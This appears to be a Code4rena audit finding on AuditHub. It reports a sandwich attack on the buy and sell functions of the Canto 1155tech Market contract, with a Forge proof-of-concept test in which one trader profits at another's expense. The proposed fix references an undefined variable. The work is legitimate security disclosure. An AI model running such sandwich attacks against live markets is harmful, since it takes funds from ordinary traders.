Canto Application Specific Dollars and Bonding Curves for 1155s - rouhsamad's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 114/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150-L170 https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L174-L198 https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L14-L25

Vulnerability details

Impact

The buy and sell functions in the Market contract are vulnerable to sandwich attacks due to their lack of consideration for the position of tokens being bought or sold. These functions, use the id of the share and an amount argument to determine the number of tokens to buy or sell. However, they do not account for the specific positions of the tokens being bought or sold. for example; If Alice buys the first 10 tokens of a share, they have purchased the tokens from the price range of 0 - 10. The current implementation allows bots to exploit this by running a sandwich attack, leading to significant financial losses for the investors.

Proof of Concept

Bob, observing Alice's transaction in the mempool, back-runs her her buy transaction by purchasing the first 10 tokens at a lower price. Alice ends up buying tokens at a higher price range (10 - 20), and Bob subsequently sells his tokens at a profit (price range of 10 - 20). Alice incurs losses due to both front-running (paying more for price range of 10-20) and back-running (selling at a lower price in range of 0-10). To run the PoC you should copy and paste the below code in your forge tests and run forge test --match-test testSandwitchAttack no additional configurations is needed

function testSandwitchAttack() public { //Initial state //creating a share market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); market.createNewShare("Test Share", address(bondingCurve), "metadataURI"); //funding bot with 100 tokens token.transfer(address(bob), 1e20); //funding alice with 100 tokens token.transfer(address(alice), 1e20); //bob saw the alice transaction in mempool and decided to perform a sandwitch attack //bob buys first 10 tokens at a cheap price vm.startPrank(bob); uint bob_balance1 = token.balanceOf(bob); token.approve(address(market), 1e18); market.buy(1, 10); uint bob_balance2 = token.balanceOf(bob); //this is the amount of tokens bob spent on buying first 10 tokens uint bob_spent = bob_balance1 - bob_balance2; vm.stopPrank(); //this is the alice transaction which is being attacked, alice tried //to purchase first 10 tokens, but now she will buy second 10 tokens (10 - 20) vm.startPrank(alice); uint alice_balance1 = token.balanceOf(alice); token.approve(address(market), 1e18); market.buy(1, 10); uint alice_balance2 = token.balanceOf(alice); //this is the amount of tokens alice spent on buying second 10 tokens uint alice_spent = alice_balance1 - alice_balance2; vm.stopPrank(); //alice spent almost 3x than what bob spent on first 10 tokens or 3x the amount of token she intended //to spend in order to receive 10 tokens assertEq(alice_spent >= 2 * bob_spent, true); //now bob can sell his 10 tokens for a higher price //because bob purchased tokens from id of 0 - 10, but now he is selling //from id of 10 - 20 vm.startPrank(bob); bob_balance1 = token.balanceOf(bob); market.sell(1, 10); bob_balance2 = token.balanceOf(bob); uint bob_received = bob_balance2 - bob_balance1; vm.stopPrank(); //bob almost received 3x his initial tokens // console.log(bob_spent); => 57599999999999998 // console.log(bob_received); => 152769583333333334 assertEq(bob_received > 2 * bob_spent, true); //alice now lost way more tokens, she spent 3x the amount she was going to spend //now she has to sell her tokens for 1/3 of the amount she spent because of the //back-running attack that bob performed vm.startPrank(alice); alice_balance1 = token.balanceOf(alice); market.sell(1, 10); alice_balance2 = token.balanceOf(alice); uint alice_received = alice_balance2 - alice_balance1; vm.stopPrank(); // console.log(alice_received); => 53986750000000000 // console.log(alice_spent); => 159416666666666663 //alice spend 3x the tokens she intended to spend, and sold those tokens for 1/3 what //she spent assertLt(alice_received, alice_spent); }

Tools Used

Forge

To prevent bots from front-running a buy transaction we can limit the amount of tokens we are willing to spend on shares. to do this, we can pass a _maxTokensIn:

function buy(uint256 _id, uint256 _amount, uint _maxTokensIn) external { //add this condition require(_tokenCount == shareData[_id].tokenCount, "Front-runned!"); (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID require(price + fee <= _maxTokensIn, "maximum tokens exceeded"); SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee); // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy //@audit rewards of msg.sender from last claim is 0 uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id); // Split the fee among holder, creator and platform _splitFees(_id, fee, shareData[_id].tokensInCirculation); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; shareData[_id].tokenCount += _amount; shareData[_id].tokensInCirculation += _amount; tokensByAddress[_id][msg.sender] += _amount; if (rewardsSinceLastClaim > 0) { SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim); } emit SharesBought(_id, msg.sender, _amount, price, fee); }

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T10:12:01Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:14:14Z

MarioPoneder changed the severity to 2 (Med Risk)

#2 - c4-judge

2023-11-28T23:33:35Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter